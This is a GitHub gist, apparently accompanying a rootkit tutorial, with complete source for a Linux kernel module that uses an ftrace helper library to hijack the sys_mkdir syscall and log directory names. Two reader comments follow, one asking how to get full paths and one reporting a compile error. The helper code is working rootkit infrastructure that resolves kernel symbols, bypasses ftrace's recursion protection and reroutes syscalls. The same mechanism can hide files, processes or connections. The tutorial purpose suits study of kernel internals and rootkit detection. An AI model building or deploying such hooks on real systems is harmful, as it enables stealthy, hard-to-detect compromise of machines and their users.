Skip to content

Instantly share code, notes, and snippets.

@xcellerator
Created August 27, 2020 12:55
Show Gist options
  • Save xcellerator/ac2c039a6bbd7782106218298f5e5ac1 to your computer and use it in GitHub Desktop.
Save xcellerator/ac2c039a6bbd7782106218298f5e5ac1 to your computer and use it in GitHub Desktop.
Simple sys_mkdir syscall hook
/*
* Helper library for ftrace hooking kernel functions
* Author: Harvey Phillips (xcellerator@gmx.com)
* License: GPL
* */
#include <linux/ftrace.h>
#include <linux/linkage.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0))
#define PTREGS_SYSCALL_STUBS 1
#endif
/* x64 has to be special and require a different naming convention */
#ifdef PTREGS_SYSCALL_STUBS
#define SYSCALL_NAME(name) ("__x64_" name)
#else
#define SYSCALL_NAME(name) (name)
#endif
#define HOOK(_name, _hook, _orig) \
{ \
.name = SYSCALL_NAME(_name), \
.function = (_hook), \
.original = (_orig), \
}
/* We need to prevent recursive loops when hooking, otherwise the kernel will
* panic and hang. The options are to either detect recursion by looking at
* the function return address, or by jumping over the ftrace call. We use the
* first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by
* setting it to 1. (Oridinarily ftrace provides it's own protections against
* recursion, but it relies on saving return registers in $rip. We will likely
* need the use of the $rip register in our hook, so we have to disable this
* protection and implement our own).
* */
#define USE_FENTRY_OFFSET 0
#if !USE_FENTRY_OFFSET
#pragma GCC optimize("-fno-optimize-sibling-calls")
#endif
/* We pack all the information we need (name, hooking function, original function)
* into this struct. This makes is easier for setting up the hook and just passing
* the entire struct off to fh_install_hook() later on.
* */
struct ftrace_hook {
const char *name;
void *function;
void *original;
unsigned long address;
struct ftrace_ops ops;
};
/* Ftrace needs to know the address of the original function that we
* are going to hook. As before, we just use kallsyms_lookup_name()
* to find the address in kernel memory.
* */
static int fh_resolve_hook_address(struct ftrace_hook *hook)
{
hook->address = kallsyms_lookup_name(hook->name);
if (!hook->address)
{
printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name);
return -ENOENT;
}
#if USE_FENTRY_OFFSET
*((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE;
#else
*((unsigned long*) hook->original) = hook->address;
#endif
return 0;
}
/* See comment below within fh_install_hook() */
static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs)
{
struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops);
#if USE_FENTRY_OFFSET
regs->ip = (unsigned long) hook->function;
#else
if(!within_module(parent_ip, THIS_MODULE))
regs->ip = (unsigned long) hook->function;
#endif
}
/* Assuming we've already set hook->name, hook->function and hook->original, we
* can go ahead and install the hook with ftrace. This is done by setting the
* ops field of hook (see the comment below for more details), and then using
* the built-in ftrace_set_filter_ip() and register_ftrace_function() functions
* provided by ftrace.h
* */
int fh_install_hook(struct ftrace_hook *hook)
{
int err;
err = fh_resolve_hook_address(hook);
if(err)
return err;
/* For many of function hooks (especially non-trivial ones), the $rip
* register gets modified, so we have to alert ftrace to this fact. This
* is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also
* need to OR the RECURSION_SAFE flag (effectively turning if OFF) because
* the built-in anti-recursion guard provided by ftrace is useless if
* we're modifying $rip. This is why we have to implement our own checks
* (see USE_FENTRY_OFFSET). */
hook->ops.func = fh_ftrace_thunk;
hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS
| FTRACE_OPS_FL_RECURSION_SAFE
| FTRACE_OPS_FL_IPMODIFY;
err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);
if(err)
{
printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err);
return err;
}
err = register_ftrace_function(&hook->ops);
if(err)
{
printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err);
return err;
}
return 0;
}
/* Disabling our function hook is just a simple matter of calling the built-in
* unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the
* opposite order to that in fh_install_hook()).
* */
void fh_remove_hook(struct ftrace_hook *hook)
{
int err;
err = unregister_ftrace_function(&hook->ops);
if(err)
{
printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err);
}
err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
if(err)
{
printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err);
}
}
/* To make it easier to hook multiple functions in one module, this provides
* a simple loop over an array of ftrace_hook struct
* */
int fh_install_hooks(struct ftrace_hook *hooks, size_t count)
{
int err;
size_t i;
for (i = 0 ; i < count ; i++)
{
err = fh_install_hook(&hooks[i]);
if(err)
goto error;
}
return 0;
error:
while (i != 0)
{
fh_remove_hook(&hooks[--i]);
}
return err;
}
void fh_remove_hooks(struct ftrace_hook *hooks, size_t count)
{
size_t i;
for (i = 0 ; i < count ; i++)
fh_remove_hook(&hooks[i]);
}
obj-m += rootkit.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/version.h>
#include <linux/namei.h>
#include "ftrace_helper.h"
MODULE_LICENSE("GPL");
MODULE_AUTHOR("TheXcellerator");
MODULE_DESCRIPTION("mkdir syscall hook");
MODULE_VERSION("0.01");
#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0))
#define PTREGS_SYSCALL_STUBS 1
#endif
#ifdef PTREGS_SYSCALL_STUBS
static asmlinkage long (*orig_mkdir)(const struct pt_regs *);
asmlinkage int hook_mkdir(const struct pt_regs *regs)
{
char __user *pathname = (char *)regs->di;
char dir_name[NAME_MAX] = {0};
long error = strncpy_from_user(dir_name, pathname, NAME_MAX);
if (error > 0)
printk(KERN_INFO "rootkit: trying to create directory with name: %s\n", dir_name);
orig_mkdir(regs);
return 0;
}
#else
static asmlinkage long (*orig_mkdir)(const char __user *pathname, umode_t mode);
asmlinkage int hook_mkdir(const char __user *pathname, umode_t mode)
{
char dir_name[NAME_MAX] = {0};
long error = strncpy_from_user(dir_name, pathname, NAME_MAX);
if (error > 0)
printk(KERN_INFO "rootkit: trying to create directory with name %s\n", dir_name);
orig_mkdir(pathname, mode);
return 0;
}
#endif
static struct ftrace_hook hooks[] = {
HOOK("sys_mkdir", hook_mkdir, &orig_mkdir),
};
static int __init rootkit_init(void)
{
int err;
err = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
if(err)
return err;
printk(KERN_INFO "rootkit: loaded\n");
return 0;
}
static void __exit rootkit_exit(void)
{
fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
printk(KERN_INFO "rootkit: unloaded\n");
}
module_init(rootkit_init);
module_exit(rootkit_exit);
@orkblutt
Copy link

Hi,
I love your articles.
Any possibility to get the parent inode where the new directory will be attached ? I'd really like to be able to have the full path from this hook. Any tips ?
All the best,

Orkblutt

@A00279521
Copy link

I tried this but below is what am getting


peter@peter-VirtualBox:/Documents/first_Rootkit_kernel$ make
make -C /lib/modules/5.15.0-46-generic/build M=/home/peter/Documents/first_Rootkit_kernel modules
make[1]: Entering directory '/usr/src/linux-headers-5.15.0-46-generic'
CC [M] /home/peter/Documents/first_Rootkit_kernel/rootkit.o
In file included from /home/peter/Documents/first_Rootkit_kernel/rootkit.c:8:
/home/peter/Documents/first_Rootkit_kernel/ftrace_helper.h: In function ‘fh_install_hook’:
/home/peter/Documents/first_Rootkit_kernel/ftrace_helper.h:112:20: error: assignment to ‘ftrace_func_t’ {aka ‘void (*)(long unsigned int, long unsigned int, struct ftrace_ops *, struct ftrace_regs )’} from incompatible pointer type ‘void ()(long unsigned int, long unsigned int, struct ftrace_ops *, struct pt_regs *)’ [-Werror=incompatible-pointer-types]
112 | hook->ops.func = fh_ftrace_thunk;
| ^
cc1: some warnings being treated as errors
make[2]: *** [scripts/Makefile.build:297: /home/peter/Documents/first_Rootkit_kernel/rootkit.o] Error 1
make[1]: *** [Makefile:1881: /home/peter/Documents/first_Rootkit_kernel] Error 2
make[1]: Leaving directory '/usr/src/linux-headers-5.15.0-46-generic'
make: *** [Makefile:4: all] Error 2
peter@peter-VirtualBox:
/Documents/first_Rootkit_kernel$
______________________________________________________________----

can anyone help out

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment